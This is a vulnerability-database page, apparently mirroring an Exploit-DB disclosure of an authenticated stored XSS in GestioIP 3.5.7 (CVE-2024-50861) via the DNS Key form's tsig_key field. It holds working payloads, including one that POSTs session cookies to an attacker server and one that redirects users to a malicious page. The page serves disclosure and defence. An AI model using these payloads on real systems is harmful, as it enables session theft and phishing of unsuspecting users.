Lucene search
K

GestioIP 3.5.7 - Stored Cross-Site Scripting (Stored XSS)

🗓️ 14 Apr 2025 00:00:00Reported by Maximiliano BelinoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 238 Views

GestioIP 3.5.7 has a Stored XSS vulnerability allowing attackers to inject code through DNS Key form.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-50861
14 Jan 202522:09
circl
CNNVD
GestioIP 安全漏洞
14 Jan 202500:00
cnnvd
CVE
CVE-2024-50861
14 Jan 202500:00
cve
Cvelist
CVE-2024-50861
14 Jan 202500:00
cvelist
NVD
CVE-2024-50861
14 Jan 202522:15
nvd
OSV
CVE-2024-50861
14 Jan 202522:15
osv
Packet Storm
📄 GestioIP 3.5.7 Cross Site Scripting
15 Apr 202500:00
packetstorm
Positive Technologies
PT-2025-2893 · Gestioip · Gestioip
14 Jan 202500:00
ptsecurity
RedhatCVE
CVE-2024-50861
23 May 202507:04
redhatcve
Vulnrichment
CVE-2024-50861
14 Jan 202500:00
vulnrichment
Rows per page
# Exploit Title: GestioIP 3.5.7 - GestioIP Vulnerability: Auth. Stored Cross-Site Scripting
# Exploit Author: m4xth0r (Maximiliano Belino)
# Author website: https://maxibelino.github.io/
# Author email: max.cybersecurity at belino.com
# GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50861
# Date: 2025-01-13
# Vendor Homepage: https://www.gestioip.net/
# Software Link: https://www.gestioip.net/en/download/
# Version: GestioIP v3.5.7
# Tested on: Kali Linux
# CVE: CVE-2024-50861

### Description

The http://localhost/gestioip/res/ip_mod_dns_key_form.cgi feature of GestioIP 3.5.7 is vulnerable to Stored XSS. An authenticated attacker with appropriate permissions can inject malicious code into the tsig_key form field and save it to the database. Once saved, any user who accesses the "DNS Key" page will trigger the Stored XSS, leading to the execution of malicious code.

### Prerequisites

1. Enable "DNS Key" Feature
First, ensure that "Dynamic DNS updates" is enabled in the global configuration:

Manage > Manage GestioIP > Global Configuration > Dynamic DNS updates enabled: yes

This will enable the following menus:

    Manage > DNS Keys
    Manage > DNS Update User

2. Create a DNS Key Entry

To create a new DNS key entry and also edit an existing one, the user must belong to a group with the "Manage Sites And Categories" permission. By default, "Admin" and "GestioIP Admin" groups have this permission.

Also, you can configure this permission to any group under:

Manage > User Groups > Manage Sites and Categories

3. Enter payload.

Once group permission is set, input one of the following payloads into the "TSIG Key" (tsig_key) field and save it.


### Payloads

1 - Test basic XSS

<script>alert("test")</script>


2 - Send data (cookies) to the attacker's server

<svg/onload="fetch('http://10.20.0.1:8000/steal_data',{method:'POST',body:document.cookie})">


3 - Redirect the user to a malicious site

<svg/onload="window.location='http://10.20.0.1:8090/malicious_page.html'">

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation